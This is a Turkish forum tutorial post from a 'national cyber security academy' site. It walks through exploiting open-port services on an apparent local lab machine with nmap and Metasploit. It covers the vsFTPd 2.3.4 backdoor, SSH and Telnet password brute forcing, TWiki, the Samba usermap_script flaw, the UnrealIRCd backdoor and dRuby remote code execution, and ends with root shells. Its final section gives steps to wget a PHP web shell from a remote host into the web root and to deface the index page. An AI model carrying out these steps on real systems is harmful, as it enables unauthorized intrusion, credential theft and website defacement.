Siber Güvenlik Dünyasına Hoşgeldiniz

Ulusal Siber Güvenlik Akademisi olarak sizlere bu alanda siber güvenlik & ethical hacking eğitimi , günümüz siber saldırılarında kullanılan araç ve teknikleri kullanarak, siber güvenlik konusunda sizlere saldırı ve savunma yönünden eğitimler ile sizlerin çözümler üretebileceğiniz bir siber dünya sunuyoruz .

  • Ulusal Siber Güvenlik Akademisi olarak sizlere bu alanda siber güvenlik & ethical hacking eğitimi , günümüz siber saldırılarında kullanılan araç ve teknikleri kullanarak, siber güvenlik konusunda sizlere saldırı ve savunma yönünden eğitimler ile sizlerin çözümler üretebileceğiniz bir siber dünya sunuyoruz .

Açık Portlar Pentest İşlemleri

Serberus

MAREŞAL
Yönetici
MAREŞAL
Katılım
27 May 2018
Mesajlar
135
Beğeniler
86
#1
AÇIK PORTLAR & PORTLARDA ÇALIŞAN SERVİSLERE YÖNELİK SALDIRILAR

Öncelikle çoğu beginner arkadasımız, AÇIK PORT ifadesinden şunu anlıyor:

Hedef sistemde açık port var ise zaafiyet vardır düşüncesi; açık kelimsei sömürülebilir bir zaafiyetmiş gibi algılanıyor, DEĞİL !


Açık port demek; sistem ile gerekli servisin birbiriyle ilişiğinde köprü mahiyetinde bir yapıdır, portların açık olması kadar doğal bisey de yoktur.

Fakat Açık Portlar üzerinde çalışan servislerde zaafiyet var ise; bu bizim aradığımız şeyin ta kendisi ve bu sette değineceğim noktadır.

Sette kullanılan hedef sistem local’de kurmuş olduğum test laboratuvarıdır. Herhangi bir sisteme zarar vermedim.

Servislerin çalıştığı port’lar statik değildir. Bunun belirlenmesi kullanıcı insiyatifindedir. Default olarak gelenler konuda anlatıldı :)

Senaryo; set boyunca:

+] Nmap ile İP adresinin taranması, açık portlar & analiz,
+] Açık olan portta hangi servisin çalıştığını görüntüleme,
+] Servis hk. bilgi toplama,
+] Servise uygun MSFramework üzerinden remote exploit bulma,
+] Exploit’i görüntüleme & gereken ayarlamaların yapılması,
+] Exploit kullanımı,
+] Sızma işlemi,
+] Shell kabuğu veyahut meterpreter oturumunun açılması,
+] Yetkili kullanıcıya erişim sağlanması,
+] Çoğununuzun aklında ? bırakan gereksiz olarak görsem de sisteme .php shell nasıl atarım shell kabuğu açıldıktan sonra; sorusunun cevabı (Aslında kaliteyi dusurmemek adına bunu çekmeyecek idim, fakat kanalda gelen yorumlar ve takipcilerin isteği üzerine, linux komut satırının hacking odaklı kullanımını da sizlere aşinalık oluşturması açısından çektim.)

21/tcp Port’una yönelik sızma girişimi, çalışan servis (FTP)


FTP Nedir?

Dosya Aktarım iletişimi (ing: File Transfer Protocol;FTP), bir veri yığınının - ASCII, EBCDIC, ve binary- uç aygıttan diğer aygıta aktarımı için kullanılmaktadır.

Oncelikle hedef sisteme Nmap adlı tool ile port taraması yaptık ve 21/tcp portunun açık olduğunu, FTP protoklünün dışarıyla bağlantı sağlarken, diğer cihazlarla iletişimini sağlarken bu port’u kullandığını gorduk.

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.




############################################################################################

"search ftp_version" -> FTP protoklünün hangi sürümünü kullanduğını öğrenmek için ftp_version modülünü kullanacağız.

"set RHOSTS" -> set komutuyla RemoteHost yani kurbanın ip adresini girdik.




############################################################################################




vsFTPd 2.3.4 sürümünü kullandığını gördük.

"back" -> exploitten çıktık.

"search vsFTPd 2.3.4" -> Metasploit içerisinden bu adın geçtiği exploiti bulmak için arama yaptık.

"use exp_name" -> use komutuyla exploit’i kullanacağız.

exploit(vsFTPd_234_backdoor)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.




############################################################################################

Gereken ayarlamaların, hedef ip & sistemin hangi port üzerinde bu servisin kullanıldığını ayarlamak olduğunu gördük, port 21 olarak default değer olarak atanmış zaten bize düşen kurbanın ip adresini girmek

exploit(vsFTPd_234_backdoor)"set RHOSTS" -> Hedef ip yazıyoruz.

exploit(vsFTPd_234_backdoor)"exploit" -> Sızma işlemini başlatıyoruz.




Bingoo Rootuz :)



SSH Nedir?

Güvenli veri iletimi için kriptografik ağ protokolüdür. Ssh ile ağa bağlı olan iki bilgisayar arasında veri aktarımı güvenlik kanalı üzerinden güvensiz bir ağda yapılır. Bu durumda ağda Ssh ile haberleşen makinelerden biri ssh sunucusu diğeri ssh istemcisi olur. Bu protokol şartları SSH-1 ve SSH-2 olmak üzere iki önemli sürüm üzerinden birbirinden ayrılır. Kaynak: wikipedia

"nmap -sV -p 3632 192.168.198.129" -> nmap -serviceVersion -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search ssh_login" -> Metasploit içerisinden bu adın geçtiği exploiti bulmak için arama yaptık.

"use exp_name" -> use komutuyla exploit’i kullanacağız.

auxiliary(ssh_login)"show options" -> Sisteme yapılacak deneme yanılma (brute force) saldırısının sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.




############################################################################################

auxiliary(ssh_login)"set RHOSTS" -> Hedef ip giriyoruz
auxiliary(ssh_login)"set USERNAME msfadmin" -> İşlemi kısa tutmak namına kullanıcı adını girdim, siz USER_FILE ’ı kullanarak kullanıcı adı için de wordlist oluşturup atak yapabilirsiniz, kullanıcı adını doğru yapıp sadece şifre kısmı için b/f yaptıracağım.
auxiliary(ssh_login)"set STOP_ON_SUCCES true" -> Atıyorum: 6. satırdaki şifre eşleşti, 7. satırdaki şifreyi denemeye devam etsin mi? Eğer etmesin istiyorsak STOP_ON_SUCCES yani başarılı olduğu anda durdur seçeneğinin değerini true olarak ayarlıyoruz.
auxiliary(ssh_login)"set PASS_FILE dosya_yolu(/root/Desktop/pwdlist.txt)" -> Şifrelerin olduğu wordlist ’i ayarlıyoruz
auxiliary(ssh_login)"exploit/run" -> diyip atağı başlatıyoruz.



############################################################################################

[+] 192.168.136.128 succes: ’username:password’ --> Eşleşen şifre böyle gözükür.






############################################################################################

auxiliary(ssh_login)"sessions" -> Sistemde oturumun açılıp açılmadığını görmek için bu komutu kullanıyoruz.
auxiliary(ssh_login)"sessions -i 1" -> Sistemde açılan oturumun kimlik numarası (id) ’sini -i parametresiyle belirliyoruz, ardından oturum açılıyor, işlem bundan ibaret.



############################################################################################


Telnet Nedir?

Telnet, Internet ağı üzerindeki çok kullanıcılı bir makineye uzaktaki başka bir makineden bağlanmak için geliştirilen bir TCP/IP protokolü ve bu işi yapan programlara verilen genel isimdir. Bağlanılan makineye girebilmek (login) için orada bir kullanıcı isminizin (username) ve bağlantının gerçekleşebilmesi için bir telnet erişim programınızın olması gereklidir. Fakat bazı kütüphane ve herkese açık telnet bazlı web servisleri, bağlantı sırasında kullanıcı ismi (numarası) istemeyebilirler; ya da, kullanıcı isim ve parola olarak ne yazmanız gerektiği bağlandığınızda otomatik olarak karşınıza çıkar. Telnet, BBS (Bulletin Board Systems) sistemlere internet üzerinden erişimde günümüzde yaygın olarak kullanılmaktadır. Telnet erişim programları, günümüzdeki işletim sistemlerinin çoğunda işletim sistemi ile birlikte gelmektedir. Çok kullanıcılı işletim sistemleri (UNIX ve VMS) genellikle kullanıcılara metin tabanlı bir arayüz sunar ve bu sistemlerde tüm işlemler klavye vasıtası ile komut isteminden (command prompt) gerçekleştirilir.

Telnet programı ile sanal sunucunuza (virtual server) bağlandığınızda, uzaktan UNIX işletim sistemine bağlanmış olursunuz. Bu, UNIX komutları yazabileceğiniz, programları çalıştırabileceğiniz, sanki makinenin karşısında oturuyormuş gibi web sitenizi düzenleyebileceğiniz anlamına gelir.

Telnet güvensiz bir protokoldür. Tüm veriler şifrelenmemiş olarak gönderilir. Bu yüzden telnet oturumundan, sniffer yardımıyla kolaylıkla önemli bilgilere ulaşılabilir.

Telnet protokolü kullanıcı adı (username) ve şifrenizi (password) bağlı bulunduğunuz ağda kolaylıkla görebilecek bir format olan PLAIN TEXT (düz metin) düzeninde göndermektedir. Bu kullanıcı isminizin ve şifrenizin ağı dinleyen herhangi biri tarafından kolaylıkla görülebileceği anlamına gelir. Eğer ağınızdaki herkese güveniyorsanız Telnet kullanmanızda bir sakınca yoktur. Fakat güvenlik hakkında en ufak bir endişeniz bile varsa, hesabınıza bağlanırken telnet kullanmamanız yararınıza olacaktır. Veri alışverişini şifreleyen uzaktan bağlantı protoklü olarak SSH’ı örnek verebiliriz. Kaynak: wikipedia

"nmap -sV -p 3632 192.168.198.129" -> nmap -serviceVersion -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search telnet_login" -> Metasploit içerisinden bu adın geçtiği exploiti bulmak için arama yaptık.

"use exp_name" -> use komutuyla exploit’i kullanacağız.

auxiliary(telnet_login)"show options" -> Sisteme yapılacak deneme yanılma (brute force) saldırısının sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.



############################################################################################

auxiliary(telnet_login)"set RHOSTS" -> Hedef ip giriyoruz
auxiliary(telnet_login)"set USERNAME msfadmin" -> İşlemi kısa tutmak namına kullanıcı adını girdim, siz USER_FILE ’ı kullanarak kullanıcı adı için de wordlist oluşturup atak yapabilirsiniz, kullanıcı adını doğru yapıp sadece şifre kısmı için b/f yaptıracağım.
auxiliary(telnet_login)"set STOP_ON_SUCCES true" -> Atıyorum: 6. satırdaki şifre eşleşti, 7. satırdaki şifreyi denemeye devam etsin mi? Eğer etmesin istiyorsak STOP_ON_SUCCES yani başarılı olduğu anda durdur seçeneğinin değerini true olarak ayarlıyoruz.
auxiliary(telnet_login)"set PASS_FILE dosya_yolu(/root/Desktop/pwdlist.txt)" -> Şifrelerin olduğu wordlist ’i ayarlıyoruz
auxiliary(telnet_login)"exploit/run" -> iyip atağı başlatıyoruz.



############################################################################################

[+] 192.168.136.128 succes: ’username:password’ --> Eşleşen şifre böyle gözükür.



############################################################################################

auxiliary(telnet_login)"sessions" -> Sistemde oturumun açılıp açılmadığını görmek için bu komutu kullanıyoruz.
auxiliary(telnet_login)"sessions -i 1" -> Sistemde açılan oturumun kimlik numarası (id) ’sini -i parametresiyle belirliyoruz, ardından oturum açılıyor, işlem bundan ibaret.



############################################################################################


HTTP Nedir?

HTTP (İngilizce Hyper-Text Transfer Protocol, Türkçe Hiper-Metin Transfer Protokolü) bir kaynaktan dağıtılan ve ortak kullanıma açık olan hiperortam bilgi sistemleri için uygulama seviyesinde bir iletişim protokolüdür.

kaynak: wikipedia

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search http_version" -> HTTP servisinin hangi sürümünü kullanduğını öğrenmek için http_version modülünü kullanacağız.

"set RHOSTS" -> set komutuyla RemoteHost yani kurbanın ip adresini girdik.

"exploit/run" -> diyip bilgi toplaması için komut verdik.



############################################################################################

"back" -> exploitten çıktık.

"search twiki_history" -> Metasploit içerisinden bu adın geçtiği exploiti bulmak için arama yaptık.

"use exp_name" -> use komutuyla exploit’i kullanacağız.

exploit(twiki_history)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık. rport’un default değeri 80, 80/tcp portuna yönelik bir saldırı gerçekleştirdiğimizi teyit ettik



############################################################################################

exploit(twiki_history)"set rhosts" -> Hedef ip yazıyoruz.
exploit(twiki_history)"set PAYLOAD <kullanılacak_payload>" -> Kullanacağımız payload’ı ayarlıyoruz.
exploit(twiki_history)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.



exploit(twiki_history)"set LHOST" -> Local ip adresimizi yazıyoruz. Komut çalıştırabileceğiniz cmd prompt’una win: ipconfig / linux: ifconfig yazıp öğrenebilirsiniz.

exploit(twiki_history)"exploit" -> Sızma işlemini başlatıyoruz.



Shell acıldı , komut çalıştırabiliriz fakat kısıtlı , root değiliz, çeşitli local root exploit’lerle tam yetkiye erişebilirsiniz, onu da ilerideli konularımda göstereceğim.



############################################################################################


NetBIOS Nedir?

NetBIOS over TCP/IP

NetBIOS over TCP/IP (NBT ya da NetBT) eski bilgisayarlardaki NetBIOS API tabanlı uygulamaların modern TCP/IP ağlarında kullanılmalarını sağlayan ağ protokolü.

1980’lerin başında geliştirilen NetBIOS, çok küçük ağları hedef almıştı (yaklaşık bir düzine bilgisayar). Günümüzde bazı uygulamalar hala NetBIOS kullanıyor ve NetBIOS, NBF üzerinden çalıştırıldığında yüzlerce bilgisayardan oluşan ağlarda iyi bir ölçeklendirme yapamıyor. NBT ise doğru bir şekilde yapılandırıldığında, bu uygulamaların devasa TCP/IP ağlarında hiçbir değişikliğe gerek kalmadan çalıştırılmasına olanak sağlıyor.

NBT RFC 1001 ve RFC 1002 olarak tanımlanmıştır.

NetBIOS üç ayrı hizmet sunmaktadır:

İsim kaydı ve çözümlemesi için isim hizmeti (portlar: UDP/137 ve TCP/137)
Bağlantısız iletişim için veri birimi dağıtım hizmeti (port: UDP/138)
Bağlantı tabanlı iletişim için oturum hizmeti (port: TCP/139)
İsim hizmeti
NetBIOS’ta her bir katılımcı en fazla 15 karakterden oluşan benzersiz bir ad kullanarak ağa kaydolmalıdır. Eski ağlarda yeni bir uygulama bir isim almak istediği zaman "Bu ismi kullanan biri var mı?" diyen bir yayın yapmak ve gelecek olan cevabı beklemek zorundaydı. Eğer cevap gelmezse belirtilen ismin kullanılmadığı anlaşılırdı. Ancak, bu bekleme süresi birkaç saniye sürdüğünden isim kaydı uzun süren bir süreç halini alıyordu. Çünkü ismin başka bir uygulama tarafından kullanılmadığını anlamanın tek yolu herhangi bir geri dönüşün olmaması idi.

NBT ise tüm isim kayıtlarını saklayan merkezi bir depo veya bir İsim Hizmeti sağlar. Bu nedenle isim almak isteyen bir uygulama isim sunucusu (bilinen bir ağ adresi)na bağlanır ve ismin daha önce kayıtlı olup olmadığını sorar. Eğer isim veritabanında yoksa bu kullanılabilir olduğu anlamına gelir ve sunucu hemen cevap verir. Bu diğerine göre çok daha hızlı bir süreçtir. RFC 1001 ve 1002’ye göre isim hizmetinin adı NetBIOS Naming Service veya NBNS’dir. Microsoft WINS NBNS’nin bir uygulamasıdır.

İsim hizmetinin paket formatları DNS ile özdeştir. Temel farklılıklar NetBIOS’ta ek olarak "Düğüm Durumu" sorgusu, dinamik kayıt ve çakışma işaretleme paketleri olmasıdır. Bunlar UDP’de kapsüllenirler. Daha sonra NetBIOS ismini DNS gibi hiyerarşik hale getiren ve isteğe bağlı Kapsam bölümü uygulanır ancak bu nadiren kullanılan bir özelliktir.

Ayrıca, bir oturum başlatmak veya veri birimini yayın yapmak yerine belirli bir hosta göndermek için, NBT host’un IP adresini belirlemesi gerekir. Bu işlem bir "İsim Sorgusu" paketi yayını, ve/veya bunu NetBIOS isim sunucusuna göndererek yapılır. Gelen cevap host’un IP adresini içerir.

İlginç bir diğer nokta ise NBNS’nin ilk dinamik peer-to-peer dağıtılmış isim kayıt hizmetlerinden biri olduğudur.

Veri birimi dağıtım hizmeti
Veri birimi modu "bağlantısız"; NetBIOS veri birimleri UDP üzerinden gönderilir. Eğer bir veri birimi belirli bir NetBIOS adına gönderiliyorsa "Doğrudan Benzersiz" veya "Doğrudan Grup" paketi ile gönderilir. Eğer ağdaki tüm NetBIOS adlarına gönderiliyorsa bir "Yayın" paketi ile gönderilir.

Oturum hizmeti
Oturum modu iki bilgisayarın "haberleşmesi" ve hata tespiti için bir bağlantı kurmasını sağlar.

Oturum paket değiş-tokuşu ile sağlanır. Bilgisayar oturumu başlatmak için karşıdaki bilgisayarın 139 numaralı portundan TCP bağlantısı kurar. Bağlantı sağlanırsa, bilgisayar oturumu kurar ve bağlantı üzerinden oturum kuran uygulamaya ait NetBIOS adı ve oturumun kurulacağı NetBIOS adını, bir "Oturum İsteği" paketi ile beraber gönderir. Oturum kurulan bilgisayar oturum kurulabileceğini belirten bir "Olumlu Oturum Yanıtı" ile veya oturum kurulamayacağını (çünkü o bilgisayar bu adla kurulan oturumları dinlemiyor olabilir veya o adla bir oturum oluşturmak için herhangi bir kaynak mevcut değildir) belirten bir "Olumsuz Oturum Yanıtı" ile cevap verir.

Veri oturum kuruluyken Oturum Mesajı paketleri ile gönderilir.

Tüm oturum hizmeti paketlerinin akış kontrolü ve yeniden iletimi, paketlerin iletileceği veri akışının, bağlantı katmanı paketlerine sığacak kadar küçük IP veri birimlerine bölünmesi TCP tarafından sağlanır.

Oturum TCP bağlantısı kapatılarak sonlanır.

Güvenlik açıkları

SMB (Server Message Block) ve NetBIOS over TCP/IP protokolleri ağ hakkında büyük miktarda detaylı ve hayati öneme sahip bilgiyi açığa çıkarabilir. Özellikle NetBIOS saldırgana ağın haritasını çıkartma imkanı sunabilir. Bu tür senaryolarda her iki servisi de devre dışı bırakmak ağın güvenliğini oldukça yükseltecektir. kaynak:wikipedia

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search smb_version" -> SMB (Server Message Block) servisinin hangi sürümünü kullanduğını öğrenmek için smb_version modülünü kullanacağız.

"set RHOSTS" -> set komutuyla RemoteHost yani kurbanın ip adresini girdik.

"exploit/run" -> diyip bilgi toplaması için komut verdik.





############################################################################################

"search usermap_script" -> samba usermap script adlı kullanıcı haritasını çıkaran exp. sayesinde sisteme sızmaya çalışıcaz.

"use exp_name" -> use komutuyla exploit’i kullanacağız

exploit(usermap_script)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.



############################################################################################

exploit(usermap_script)"set rhosts" -> Hedef ip yazıyoruz.
exploit(usermap_script)" show payloads " diyip , payloadları listeliyoruz.



############################################################################################

exploit(usermap_script)" set PAYLOAD <kullanılacak_payload>" -> Kullanacağımız payload’ı ayarlıyoruz.
exploit(usermap_script)"set lhost" -> Local ip adresimizi yazıyoruz. Komut çalıştırabileceğiniz cmd prompt’una win: ipconfig / linux: ifconfig yazıp öğrenebilirsiniz.



exploit(usermap_script)"set rport" -> Hedef sistemin sızma girişiminde bulunulacak (netbios servisinin çalıştığı port)’u yazıyoruz.

exploit(usermap_script)"exploit" -> Sızma işlemini başlatıyoruz.

Shell açıldı , root olduğumuzu görüyorsunuz :)



############################################################################################

6667/tcp port’unda çalışan irc servisine yönelik sızma girişimi:

IRC Nedir?


Internet Relay Chat veya IRC, İnternette en çok kullanılan protokollerden bir tanesidir. 1988 yılında Finlandiya’da Oulu Üniversitesi öğrencisi olan Jarkko Oikarinen tarafından yazılmıştır. kaynak:wikipedia

############################################################################################

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.



############################################################################################

"search irc" -> IRC servisine yönelik hangi exploit’lerin kullanılabileceğini gormek için adının geçtiği exploitleri listeliyoruz.



İşimize yarayacak exploit burda, zaten sağda rank kısmında exellent yazan exploit de bu, şansımız yüksek devam ..



############################################################################################

"use exp_name" -> use komutuyla exploit’i kullanacağız

exploit(unreal_ircd_3281_backdoor)"show options" -> Exploit’in sisteme erişmesi için gerekli ayarlamaların neler olduğunu öğrenmek için bu komutu kullandık.



############################################################################################

exploit(unreal_ircd_3281_backdoor)" show payloads " diyip , payloadları listeliyoruz.
exploit(unreal_ircd_3281_backdoor)" set payload <secilen_payload >" diyip , payloadı belirtiyoruz.



############################################################################################

show options dedik , değer atanması gereken ayarlar require = yes olanlardır.

exploit(unreal_ircd_3281_backdoor)" set rhost " diyip , hedef ip giriyoruz.



############################################################################################

exploit(unreal_ircd_3281_backdoor)"set LHOST" -> Local ip adresimizi yazıyoruz. Komut çalıştırabileceğiniz cmd prompt’una win: ipconfig / linux: ifconfig yazıp öğrenebilirsiniz.
exploit(unreal_ircd_3281_backdoor)"exploit" -> Sızma işlemini başlatıyoruz.

İşlem başlatıldı fakat, sızma girişimi başarısız, son olarak ayarlamalara bnakıyoruz bir umut ne eksik ne fazla neyi değişeyim neyi arttırayım derken , lport’un default olarak 4444 olduğunu ve benim porumun açık olmadığını sızma işlemini gerçekleştirmek isterken bu portu kullanmak isteyip, iletişim sağlayamayıp başarısız sonuçlandığını düşündüm, zaten hedef ile saldırı işlemini yaptığım makina ip’leri aynı host üzerinde farkettiyseniz, port açmaya no require :=)

exploit(unreal_ircd_3281_backdoor)"unset lport" -> Lport değerini default değerden arındırıp null yapıyoruz.
exploit(unreal_ircd_3281_backdoor)"exploit" -> Sızma işlemini başlatıyoruz.



############################################################################################

vee Bingoo :)



############################################################################################

8787/tcp port’unda çalışan drb servisine yönelik sızma girişimi:


Ruby Nedir?

Ruby, nesneye yönelik, dinamik, reflektif bir programlama dilidir. Ruby dili, Yukihiro Matsumoto tarafından Japonya’da tasarlanmaya ve geliştirilmeye başlanmıştır.

Sözdizimi olarak, Ada, Perl, Smalltalk, Lisp, Eiffel[3] gibi programlama dillerinden etkilenen Ruby; Python ile kimi ortak sözdizimi özelliklerine sahiptir. Fonksiyonel, nesneye yönelik, dinamik, reflektif gibi çoklu programlama paradigmalarını destekler.

Özgür bir yazılım olan Ruby; GPL ve Ruby lisansı[4] ile lisanslanmıştır.

dRuby servisinde oluşan güvenlik zaafiyeti ise Uzaktan Kod Yürütme mantığıyla exploit edilir.

Zafiyet, "8787/tcp" portu üzerinde ki, "drb" servisinin, "Ruby DRb RMI" versionuna aittir.

############################################################################################

"nmap -sV -p 3632 192.168.198.129" -> nmap -sS -p <taranacak_port> <hedef_ip> şeklinde yazdık.



"search drb_remote" -> drb_remote adının geçtiği exploitleri listeliyoruz.



############################################################################################

"set payload <ayarlanacak_payload>" -> Kullanacağımız payload’ı belirtiyoruz.

exploit(unreal_ircd_3281_backdoor)"set URI" -> gerekli değeri veriyoruz;
You do not have permission to view link Giriş yap veya üye ol.
yerine druby://ip_adresi:8787 şeklinde url giriyoruz .

exploit(unreal_ircd_3281_backdoor)"set lhost" -> Local ip adresimizi yazıyoruz. Komut çalıştırabileceğiniz cmd prompt’una win: ipconfig / linux: ifconfig yazıp öğrenebilirsiniz.

exploit(unreal_ircd_3281_backdoor)"exploit" -> Sızma işlemini başlatıyoruz.



############################################################################################

Ve rootuz :)



############################################################################################


Son olarak sisteme .php shell atma işlemi:

+] Shell’in kaynak kodlarını uzaktaki host’a upl. ediyoruz.
+] " pwd " komutuyla bulunduğumuz dizini öğreniyoruz.
+] " cd /var/www " komutuyla site dosyalarının dış dünyayla paylaşıldığı dizine geliyoruz.
+] " mkdir dosya_adı" diyip bir dosya oluşturuyoruz.
+] " chmod 777 dosya_adı " diyip klasöre okuma yazma çalıştırma gibi gereken tüm yetkileri veriyoruz.
+] " wget uzaktaki_host_adresi/shell/bomch4nte.txt"
+] " ls " diyip angel.txt adlı dosyanın sv’ye çekildiğini görüyoruz.
+] " mv bomch4nte.txt bomch4nte.php" diyip dosya adını (uzantısını) .php olarak değişiyoruz.
+] " browser’dan
You do not have permission to view link Giriş yap veya üye ol.
" diyip shell’e giriş yapabiliriz.

############################################################################################

+] " Shell basmadan index basmak için ise 2. & 3. adımları tekrar edip ls komutunu verin, index.html mi index.php mi diye bakın anasayfa dosyasının, sonrasında echo Lamered Bye Bomch4nte >> index.php / .html -> Bu işlemi de uygulayabilirsiniz."


İyi Forumlar